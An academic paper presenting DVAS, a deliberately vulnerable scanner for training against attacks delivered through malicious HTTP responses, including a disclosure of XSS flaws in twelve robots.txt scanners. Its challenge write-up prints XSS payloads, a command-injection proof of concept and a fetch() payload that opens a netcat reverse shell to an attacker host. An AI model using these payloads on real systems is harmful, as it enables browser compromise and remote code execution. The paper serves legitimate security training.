In this paper we present Damn Vulnerable Application Scanner (DVAS), an intentionally flawed network scanner. DVAS allows the user for training against a novel attacker model, recently presented by Valenza et al. [1]. This kind of attack is carried out via malicious HTTP Response messages. Scan reports can be vulnerable to injection attacks, thus putting the browser of the scanner user at risk. To the best of our knowledge, DVAS is the only environment for practicing under the new attacker model. Without proper training and education, this kind of flaws are likely to be neglected by developers and security analysts. As a confirmation, here we even report twelve new vulnerabilities that we discovered in existing scanners while developing one of the challenges of DVAS.
Hands-on exercises are of paramount importance for security experts to consolidate their technical skills. In general, training sessions are organized by asking the trainees to detect and exploit the weaknesses of a purposely vulnerable target, such as operating systems and services. As a result, when a new vulnerability or attack methodology emerges, a considerable efort is devoted to develop new training environments.
Recently, [
In this paper we present Damn Vulnerable Application Scanner (DVAS ), a vulnerable web
application scanner. The main purpose of DVAS is to increase the awareness level of security
experts toward the novel attacker model, recently exposed in [
To train against this threat, DVAS includes a number of challenges. Each challenge must be solved by exploiting one or more vulnerabilities of a fictional web application scanner. All the vulnerabilities are inspired by actual ones that have been discovered in existing scanners. Moreover, three of them are original findings that we report in this paper for the first time. These new vulnerabilities have been discovered while developing the challenges of DVAS and we reported them to the owners of the afected scanners.
The main contributions of this paper are
• a new application of the attacker model of [
This paper is structured as follows. In Section 2 we survey on the related work. In Section 3 we recall some relevant background notions. Section 4 describes the reference attacker model and the new vulnerabilities that we discovered. Section 5 describes the architecture and implementation of DVAS, while Section 6 provides a demonstration of one among its challenges. Finally, Section 7 concludes the paper.
Many initiatives focus on the development of training environments for the security experts. Among them, many put forward vulnerable systems to be used as the target of VAPT sessions.
Damn Vulnerable Web Application [2] (DVWA) is an open source PHP/MySQL web application that security professionals use to test their skills and tools in a controlled environment. It consists of several distinct exercises focusing on some major vulnerabilities common in web applications, e.g., XSS and SQLi. Exercises also have a dificulty level. Higher levels introduce checks on the attacker input making the vulnerability exploitation more complex.
Also WackoPicko [3] is a PHP web application sufering from a number of vulnerabilities. However, its main purpose is to test the efectiveness of automatic vulnerability scanners.
The Open Web Application Security Project devoted a considerable efort to provide the community of security experts with vulnerable targets for their training [4]. Among them, WebGoat [5] is a Java-implemented, deliberately insecure web application. Another OWASP’s project is Multillidae [6], a vulnerable application including more than 40 vulnerabilities, with a particular emphasis to the OWASP Top Ten [7] ones.
Another similar initiative is Gruyere [8]. Briefly, it is a vulnerable web site where security analyst can test their skills in both white-box and black-box vulnerability testing.
Beyond web application security, similar initiatives target diferent technologies. For instance, Damn Vulnerable Web Services [9] is a container of vulnerable services to be remotely exploited. Even operating systems have been adapted for this purpose, as it it the case for Damn Vulnerable Windows [10] Also, is an all-in-one vulnerable environment meant to provide a virtual laboratory for penetration testing exist, e.g., Metasploitable [11].
More recently, similar proposals have been put forward even for entire infrastructures. For instance, Damn Vulnerable Cloud Application [12] is a deliberately vulnerable AWS-based cloud application. For what concerns critical infrastructures, Damn Vulnerable IoT Device [13] and Damn Vulnerable Chemical Process [14] emulate vulnerable embedded, IoT devices and a SCADA system, respectively.
To the best of our knowledge, none of the existing proposals include vulnerabilities that are compatible with the attacker model considered in this paper. Thus, none of the systems presented above can be used to run exercises similar to those of DVAS.
Below we recall some background notions that are needed for a correct understanding of the paper.
Hypertext transfer protocol HTTP [15] is a stateless, client-server protocol. Clients submit a request and receive a response from the server. Requests are typically used to retrieve a resource from the server. For instance, a request may look like G E T h t t p : / / s i t e . c o m / d o c u m e n t . h t m l H T T P / 1 . 1 to denote that the client is requesting (G E T ) d o c u m e n t . h t m l . Requests also include parameters and options, e.g., H T T P / 1 . 1 in the example above which specifies the protocol version.
Responses also follow a rigorous syntax. For instance, a server may answer in the following way to the request above.
H T T P / 1 . 1 2 0 0 O K S e r v e r : n g i n x / 1 . 1 7 . 0
The meaning is that the requested document exist (2 0 0 O K ) and it is returned by the server. Also responses have parameters that appear in the header part. Here, the header includes the S e r v e r field which contains an identifier of the HTTP server.
Security scanners Security scanners are automatic tools used for technical information gathering. Security analysts (and attackers) commonly use them in the preliminary phases of their penetration activities. A security scanner sends network messages, e.g., HTTP Request, to its target, e.g., a web server. The goal is to force the generation of responses and collect them. Responses are then parsed to extract relevant information. For instance, the S e r v e r field of a HTTP response header can be used to identify the server type and version and, thus, check whether there are known vulnerabilities that might afect it. The final output of a security scanner is a (vulnerability) report. The report contains the outcome of the scanning process and embeds parts of the collected responses.
(a) Comparison between attacker models. (b) XSS PoC on JoomScan.
Cross-site scripting A web application page is vulnerable to cross-site scripting (XSS) when the attacker can inject it with malicious HTML code. Commonly, the injected code aims to embed and execute JavaScript instructions directly in the victim’s browser. A typical proof-of-concept XSS payload is
< s c r i p t > a l e r t ( 1 ) < / s c r i p t > which prompts a popup in the attacked browser.
Here we briefly recall the attacker model originally presented in [
Injection via HTTP responses Figure 1a (top) sketches the traditional attacker model for HTTP application server and (bottom) the reference attacker model of this paper. All in all, the main diference is that HTTP responses (instead of HTTP Requests) are the attack vector. Since the attack direction is inverted, i.e., the scan target becomes the attack source, the attacker and victim roles are swapped. Also, it is important to notice that relevant vulnerabilities are those afecting the scanners, rather than the scanned server. The goal of the attacker is to compromise the user agent, i.e., his web browser, by means of the generated HTML reports.
As one might expect, the main attack vector is XSS. Since the XSS payload is shipped with an HTTP Response, a payload may look similar to H T T P / 1 . 1 2 0 0 O K S e r v e r : < s c r i p t > a l e r t ( 1 ) < / s c r i p t >
Thus, an exploit occurs if the the content of the S e r v e r field is copied in the HTML report displayed to the user.
Injection via application-specific resources The experimental results presented in [
While developing one of the challenges of DVAS (see Robots scanner in Section 5.2), we tested this hypothesis on existing robots.txt scanners. Among the considered ones, we found that twelve were vulnerable to XSS injection via maliciously crafted robots.txt files. 1 The vulnerable robots.txt scanners are OWASP JoomScan [17], domProjects [18], Internet Marketing Ninjas [19], Motoricerca [20], Northcutt [21], Robots TXT Checker [22], SEO Ninja Tools [23], SEO Site Checkup [24], SEOtoolzz [25], SiteAnalyzer [26], Viso Spark [27], and Website Planet [28].
For instance, JoomScan is a tool that detects Joomla CMS [29] vulnerabilities. As part of its scan, it retrieves and inspects robots.txt to highlight the possible disclosure of sensitive content. Figure 1b shows an injected JoomScan report. The injection occurs in disallowed paths. In this case, we submitted a file containing the following line.
D i s a l l o w : / < s c r i p t > a l e r t ( 1 ) < / s c r i p t >
In this section we present the architecture and implementation details of DVAS.
The overall architecture of DVAS is depicted in Figure 2 (left). At its core, DVAS is a web application consisting of a Web GUI. DVAS architecture is extensible. As a matter of fact, it can be enriched with both new challenges and scan engines. Below, we describe their general structure.
Challenges DVAS is a collection of challenges that make the user familiar with some vulnerabilities and their exploit. All the challenges are staged in a fictional scanner application.
The mock up interface of Figure 2 (right) represents a challenge where the user is asked to scan the HTTP server having a certain IP. The application invokes the PHP function g e t _ h e a d e r s to collect the response headers. The result is then displayed in an output area (or possibly on another page). Challenges are categorized according to their features of interest. For instance, the http category contains challenges that have to do with HTTP scanners. Other categories refer to, for instance, the type of the used scan engine, e.g., Nmap vs. Nikto, and the type of vulnerabilities to be exploited. Moreover, challenges are ordered according to their dificulty level in order to support an incremental training process.
Scan engines Scan engines are responsible for performing the actual scan of the target. A scan engine can be a library, an external executable, or even a remote service. For instance, g e t _ h e a d e r s (see above) is a native PHP function, while Nmap is a stand-alone binary. Scan engine integration in DVAS relies on adapters. An adapter mediates the invocation of a scan engine and parses its output before passing it back for the scan report. The integration of a new scan engine requires the implementation of at least one adapter.
In this section we discuss the implementation of DVAS. DVAS is a PHP 7.2 web application executed as a Docker container. The source code is publicly available at https://github.com/ AvalZ/DVAS.
Supported scan engines For the time being, DVAS challenges can rely on the following scan engines.
• get_headers. As stated above, this PHP function performs a HTTP Request using the HEAD method against the target URL. It retrieves the HTTP Response headers and stores them in a data structure that is a mapping between HTTP header names and values. Depending on the context, the internal logic of the function can be rather complex. For instance, if the target responds with a redirect, the function follows it (recursively) and collects all headers found in the redirect chain. • Nmap. The Network Mapper is a popular open source port scanner. Nmap includes a number of advanced scanning features such as service and vulnerability detection. All of them can be controlled through the Nmap command line syntax. For instance, service 1All the scanner owners were informed through a responsible disclosure procedure.
detection can be launched via the - s V option. In most cases, server versions are directly extracted from the response messages. This is also the case for HTTP, where the service version is taken from the Server HTTP Header. • Nikto. It is a web server scanner which performs various checks against the target. The supported operations includes collecting information about the server version, recognizing the technologies used by the target and scanning for existing vulnerabilities. • cURL. This engine leverages libcurl [30] library to perform a single HTTP request against the target URL. The response is directly returned as the final report.
Default challenges The challenges contained in DVAS are inspired to real world scanners
and their vulnerabilities. Most of them are taken from [
• Get headers. This challenge simulates a basic information gathering scenario. The application invokes g e t _ h e a d e r s , as seen in Section 5.1, to perform a single request to the target. The HTTP Response headers are then displayed as raw text. This challenge resembles the behavior of many HTTP scanners that include similar features, e.g., see HTTP Tools [31], Online SEO Tools [32], and SeoBook [33] • Server header. This challenge resembles the previous one, but only the content of the S e r v e r field appears. This behavior is typical of security scanners because the server type and version are used, e.g., to detect CVEs afecting the server. Actual tools performing similar scans are, e.g., OS Checker [34]. • Redirect checker. This challenge is based on a short URL resolver scenario. URL shortening services, e.g., https://bitly.com, are sometimes used in phishing. The reason is that short URLs hide the actual domain of a website, so making it dificult to spot out a suspicious link. URL resolvers help the user by unfolding the redirect chain. This is done by recursively following the L o c a t i o n HTTP Response header. As many redirect checkers do, e.g., see InternetOficer [ 35], Redirect Check [36], and Redirect Detective [37], also our application displays the entire redirect chain. Also this challenge relies on the g e t _ h e a d e r s API. • HTTP Status checker. In this case we use g e t _ h e a d e r s to read the HTTP Response Status and simulate an application availability checker. An HTTP Status consists of two diferent components, i.e., three digits, called Status Code, and a short text called Status Message. For instance, 4 0 4 N o t F o u n d denotes that the requested resource does not exist on the server. Real applications providing this kind of service are JoydeepWeb [38] and DNS Checker [39]. • Cookie checker. This challenge implements a cookie analysis tool. For instance, this is what many GDPR validators do, e.g., see CookieMetrix [40]. Inside their report, these checkers display the value of the S e t - C o o k i e header. Again, we retrieve cookie information by means of g e t _ h e a r d e r s . • Port scanner. Traditionally, port scanning in include in most information gathering processes. This challenge implements a port scanning application that uses Nmap to enumerate the open ports (and the associated services – parameter - s V ) of a target (a) NAX admin page.
(b) The Port scanner attack.
host. Online port scanners of this kind are, for instance, Nmap Online [41] and PentestTools [42] • Vulnerability scanner. In this challenge we implement a web server vulnerability scanning application. The service scanner relies on Nikto to perform an aimed scan of the services running on the target host. Vulnerability scanners of this kind are, for instance, Nikto Online [43] and Metasploit Pro [44]. • Robots scanner. This challenge implements a robots.txt scanner as previously discussed.
The used scan engine is cURL, which we use to retrieve the content of the robots.txt file. Such a content is then displayed inside the scan report. Examples of vulnerable robots.txt scanners are those reported in Section 4.
Solving DVAS challenges requires to create and configure a scan target application. This operation can be tedious and does not contribute to the training efectiveness. For this reason, DVAS includes a default scan target, called NAX.2
NAX is a web application for testing HTTP APIs. In this sense, it is similar to some existing tools such as Mocky [45] and Hoppscotch [46]. However, NAX is designed for delivering attack payload in any field of an HTTP Response. Hence, it allows for freely crafting HTTP Responses, while existing tools apply well-formedness constraints, e.g., Status Code must be in 3-digit format.
Figure 3a shows the main page of NAX. NAX is a Python 3.7 application running in a Docker container. NAX can be configured in two ways. By accessing the /nax page, the user can set a default HTTP response. Instead, by accessing any /nax subpath, e.g., /nax/test, the user 2NAX stand for “scan” reversed. configures the HTTP Response for a specific page, e.g., http://localhost/test (assuming NAX runs on localhost). For any configured path that is requested by a client, NAX returns the associated HTTP Response. If no response is assigned to a certain path, the default one is returned.
A response configuration form appears as in Figure 3a. Besides the resource path, the user can freely set the Status Code and Message, e.g., 2 0 0 O K , the response headers and the message body.
In this section we demonstrate DVAS by presenting the write-up of one of its challenges, namely Port scanner. The challenge is inspired by CVE-2020-7354 [47] and CVE-2020-7355 [48]. The attack flow follows the schema depicted in Figure 3b.
Briefly, the Port scanner app amounts to a simple form consisting of a single text field (called target). The form is accessible at http://DVAS/http/nmap_portscan.php (where DVAS stands for the address of DVAS host machine). The text field is used for specifying a target host to be the subject of the port scan operation. The web application is displayed in Figure 4.
When the Scan button is pressed, a POST HTTP Request is sent to DVAS localhost. The recipient is an adapter that converts the request to the Nmap input syntax. The adapter invokes Nmap with the command n m a p - s V - - t o p - p o r t s 1 6 T A R G E T where • - s V is for retrieving service versions; • - - t o p - p o r t s 1 6 limits the scan to the 16 most frequently open ports, and; • T A R G E T is the value provided through the form field.
When the scan terminates, the adapter returns a web page containing the raw output of Nmap. Roughly speaking, the output is a list of the services that Nmap detected on the scanned ports. For instance, if the scan target runs an HTTP server on port 80, the Nmap report contains the Server header appearing in an HTTP Response.
By design, the Port scanner app sufers from two vulnerabilities, that is XSS and command injection. As previously stated, the XSS vulnerability afects the scan report. The command injection vulnerability is due to an improper input handling by the adapter, which concatenates the content of the form field ( target) to the Nmap command string. A proof of concept exploit can be executed locally, e.g., by submitting the value l o c a l h o s t ; w h o a m i . This PoC runs a normal Nmap scan against localhost, followed by the w h o a m i command. The output of both commands is then displayed on the final report, as shown in Figure 5.
The goal of the challenge is to perform a remote command execution (RCE) on the DVAS host. More precisely, we show how to open a reverse shell, i.e., a terminal session toward the target host that is proactively initiated by the victim. The solution given below is implemented by means of our default target, NAX.
Attack payload A possible way to exploit the command injection vulnerability is through the fetch() [49] function. Briefly, f e t c h ( u r l , p a r s ) carries out an HTTP request to u r l . The request parameters are configured through the p a r s JSON. The fetch instruction to start a reverse shell is the following. fetch(”http://localhost/http/nmap_portscan.php”, { ”method”: ”POST”, ”headers”: {
”Content-Type”: ”application/x-www-form-urlencoded”}, ”body”: ”target=localhost $(nc -e /bin/sh TARGET)”});
The first argument of the f e t c h invocation is http://localhost/http/nmap_portscan.php, i.e., the address of the vulnerable scanner page. It is worth noticing that here l o c a l h o s t refers to the DVAS machine. The second argument is a configuration object that mimics a form submission request. The HTTP Request is structured as follows. m e t h o d sets the request method to P O S T . h e a d e r s sets the form content type. b o d y sets the content of the t a r g e t field.
The t a r g e t field contains the command injection payload, i.e., l o c a l h o s t $ ( n c - e / b i n / s h T A R G E T ) . We use netcat [50] (n c ) to launch3 a shell (/ b i n / s h ) and start a connection toward the attacker/scanned host (T A R G E T ).4 The attacker binds to the remote shell through a dual netcat command n c - l p P O R T which listens for incoming connections on port P O R T . Finally, the netcat command is launched in a subshell through command substitution ($ ( . . . ) ) in order to execute it before the (vestigial) Nmap scan of l o c a l h o s t .
Since Nmap scans 16 (most frequently used) ports, in principle, up to 16 responses can be used to deliver the f e t c h command seen above. However, the most practical solution is to rely on a single response message (as combining multiple responses would require to get rid of the Nmap output structure). Hence, we opt for delivering the entire payload through a single HTTP Response and, in particular, by inserting it in the Server header. Although the code given above efectively solves the challenge, we cannot use it as the attack payload. The reason it that Nmap truncates the service version field to 80 characters. We overcome this issue by storing the fetch instruction on a separate file called atk.js. Figure 7a shows NAX during the creation of atk.js.
In this way, we can use the (compact) XSS payload
< s c r i p t s r c = ' h t t p : / / T A R G E T / a t k . j s ' > < / s c r i p t > to craft the following response message in NAX (see Figure 7b).
H T T P / 1 . 1 2 0 0 O K S e r v e r : < s c r i p t
s r c = ' h t t p : / / T A R G E T / a t k . j s ' > < / s c r i p t >
Since this payload is shorter than 80 characters, it is not truncated by Nmap. When it is loaded by the page, it injects atk.js into the report. An incoming connection spawning the remote shell on the attacker’s host witnesses the success of the exploit.
3For brevity, here we use the -e flag, which is not enabled in the default version of netcat (netcat-openbsd package), but only available in another version (netcat-traditional). The same result can be achieved with netcatopenbsd, but at the price of a more complex command.
4TARGET stands for the address and port of the attacker machine.
(a) Creation of atk.js in NAX.
(b) Creation of the response payload in NAX.
In this paper we presented DVAS, a deliberately vulnerable web application scanner. The main purpose of DVAS is to provide an environment for hands-on exercises under a recently discovered attacker model. The novel attacker model is still often neglected by developers. As a confirmation, we could detect twelve new vulnerabilities in existing scanners, including OWASP’s JoomScan. This further remarks the urgency of raising the awareness level about this risk. At the best of our knowledge, DVAS is the only proposal that considers scanners’ vulnerabilities. and Defenses, RAID, USENIX Association, 2020. [2] DVWA Team, Damn Vulnerable Web Application (DVWA) Oficial Documentation, RandomStorm, 2010. URL: https://github.com/digininja/DVWA/blob/master/docs/DVWA_v1. 3.pdf, version 1.3. [3] A. Doupé, M. Cova, G. Vigna, Why Johnny Can’t Pentest: An Analysis of Black-Box Web Vulnerability Scanners, in: C. Kreibich, M. Jahnke (Eds.), Detection of Intrusions and Malware, and Vulnerability Assessment, Springer Berlin Heidelberg, Berlin, Heidelberg, 2010, pp. 111–131. [4] O. W. A. S. Project®, Vulnerable web applications directory, https://owasp.org/ www-project-top-ten/, 2020. (Accessed on September 2020). [5] O. W. A. S. Project®, Webgoat, 2020. URL: https://owasp.org/www-project-webgoat/, version 8.1.0. [6] O. W. A. S. Project®, Mutillidae ii, 2020. URL: https://github.com/webpwnized/mutillidae, version 2.7.11. [7] O. W. A. S. Project®, Top ten, https://owasp.org/www-project-top-ten/, 2020. (Accessed on September 2020). [8] Google, Gruyere codelab, https://google-gruyere.appspot.com/, 2020. (Accessed on September 2020). [9] S. Sanoop, Damn vulnerable web service, 2020. URL: https://github.com/snoopysecurity/ dvws-node, (Accessed on September 2020). [10] F. E. Genc, Damn vulnerable windows, https://sourceforge.net/projects/ dawn-vulnerability-windows/, 2020. (Accessed on September 2020). [11] Rapid7, Metasploitable, https://github.com/rapid7/metasploitable3, 2020. (Accessed on
September 2020). [12] M. Leblanc, Damn vulnerable cloud application, https://github.com/m6a-UdS/dvca, 2020.
(Accessed on September 2020). [13] A. Courty, Damn vulnerable iot device, https://github.com/Vulcainreo/DVID, 2020. (Accessed on September 2020). [14] M. Krotofil, J. Larsen, Rocking the pocket book: Hacking chemical plants, in: DefCon
Conference, DEFCON, 2015. [15] R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-Lee, Rfc2616:
Hypertext transfer protocol – http/1.1, 1999. [16] M. Koster, A method for web robots control, 1996. URL: https://www.robotstxt.org/ norobots-rfc.txt. [17] O. W. A. S. Project®, Joomscan, 2020. URL: https://wiki.owasp.org/index.php/Category:
OWASP_Joomla_Vulnerability_Scanner_Project, version 0.0.7. [18] domProjects, Robots.txt analyzer, https://domprojects.com/webtools/robots_txt_analyzer, 2020. (Accessed on September 2020). [19] I. M. Ninjas, Robots text generator tool, https://www.internetmarketingninjas.com/ seo-tools/robots-txt-generator/, 2020. (Accessed on September 2020). [20] Motoricerca, Robots.txt checker, http://tool.motoricerca.info/robots-checker.phtml, 2020.
(Accessed on September 2020). [21] Northcutt, Robots.txt checker, https://northcutt.com/tools/free-seo-tools/ robots-txt-checker/, 2020. (Accessed on September 2020). [22] R. T. Checker, Robots.txt checker tool, https://robotstxtchecker.online/, 2020. (Accessed on
September 2020). [23] S. N. Tools, Seo & webmaster tools, https://seoninjatools.com/, 2020. (Accessed on September 2020). [24] S. S. Checkup, Free seo checkup, https://seositecheckup.com/, 2020. (Accessed on September 2020). [25] SEOtoolzz, Robots.txt checker, http://seotoolzz.com/robots.txt-checker.php, 2020. (Accessed on September 2020). [26] SiteAnalyzer, Robots.txt testing tool, https://site-analyzer.pro/services-seo/ robots-txt-testing-tool/, 2020. (Accessed on September 2020). [27] V. Spark, Free robots.txt generator and validator, http://www.visiospark.com/ robots-txt-generator-validator/, 2020. (Accessed on September 2020). [28] W. Planet, Robots.txt checker, https://www.websiteplanet.com/webtools/robots-txt/, 2020.
(Accessed on September 2020). [29] O. S. Matters, Joomla!, https://www.joomla.org/, 2020. (Accessed on September 2020). [30] D. Stenberg, libcurl, https://curl.haxx.se/libcurl/, 2020. (Accessed on September 2020). [31] H. Tools, Http header check, https://www.httptools.net/http-header-check, 2020. (Accessed on September 2020). [32] O. S. Tools, Http header check, https://seotools.rocks/http-header-check/, 2020. (Accessed on September 2020). [33] SeoBook, Server header checker, http://tools.seobook.com/server-header-checker/, 2020.
(Accessed on September 2020). [34] D. Checker, Os checker, https://dnschecker.org/website-server-software.php, 2020. (Accessed on September 2020). [35] InternetOficer, Redirect checker, https://www.internetofficer.com/seo-tool/ redirect-check/, 2020. (Accessed on September 2020). [36] R. Check, Redirect checker, http://redirectcheck.com/index.php, 2020. (Accessed on September 2020). [37] R. Detective, Redirect check, https://redirectdetective.com/, 2020. (Accessed on September 2020). [38] JoydeepWeb, Http status checker, https://www.joydeepdeb.com/tools/check-status-code.
html, 2020. (Accessed on September 2020). [39] D. Checker, Http status checker, https://dnschecker.org/server-headers-check.php, 2020.
(Accessed on September 2020). [40] CookieMetrix, Gdpr checker, https://www.cookiemetrix.com/, 2020. (Accessed on September 2020). [41] N. Online, Port scanner, https://nmap.online/, 2020. (Accessed on September 2020). [42] P. Tools, Port scanner, https://pentest-tools.com/network-vulnerability-scanning/ tcp-port-scanner-online-nmap, 2020. (Accessed on September 2020). [43] N. Online, Vulnerability scanner, https://nikto.online/, 2020. (Accessed on September 2020). [44] Rapid7, Metasploit pro, https://www.rapid7.com/products/metasploit/, 2020. (Accessed on
September 2020). [45] Julien Lafont, Mocky.io, https://github.com/julien-lafont/Mocky, 2020. (Accessed on
September 2020). [46] Thomas Liyas, Hoppscotch, https://github.com/hoppscotch/hoppscotch, ???? (Accessed on September 2020). [47] N. I. of Standards, Technology, National vulnerability database - cve-2020-7354, https: //nvd.nist.gov/vuln/detail/CVE-2020-7354, 2020. (Accessed on September 2020). [48] N. I. of Standards, Technology, National vulnerability database - cve-2020-7355, https: //nvd.nist.gov/vuln/detail/CVE-2020-7355, 2020. (Accessed on September 2020). [49] M. Foundation, Mdn web docs - using fetch, https://developer.mozilla.org/docs/Web/API/
Fetch_API/Using_Fetch, 2020. (Accessed on September 2020). [50] A. Research, Netcat, https://nc110.sourceforge.io/, 2020. (Accessed on September 2020).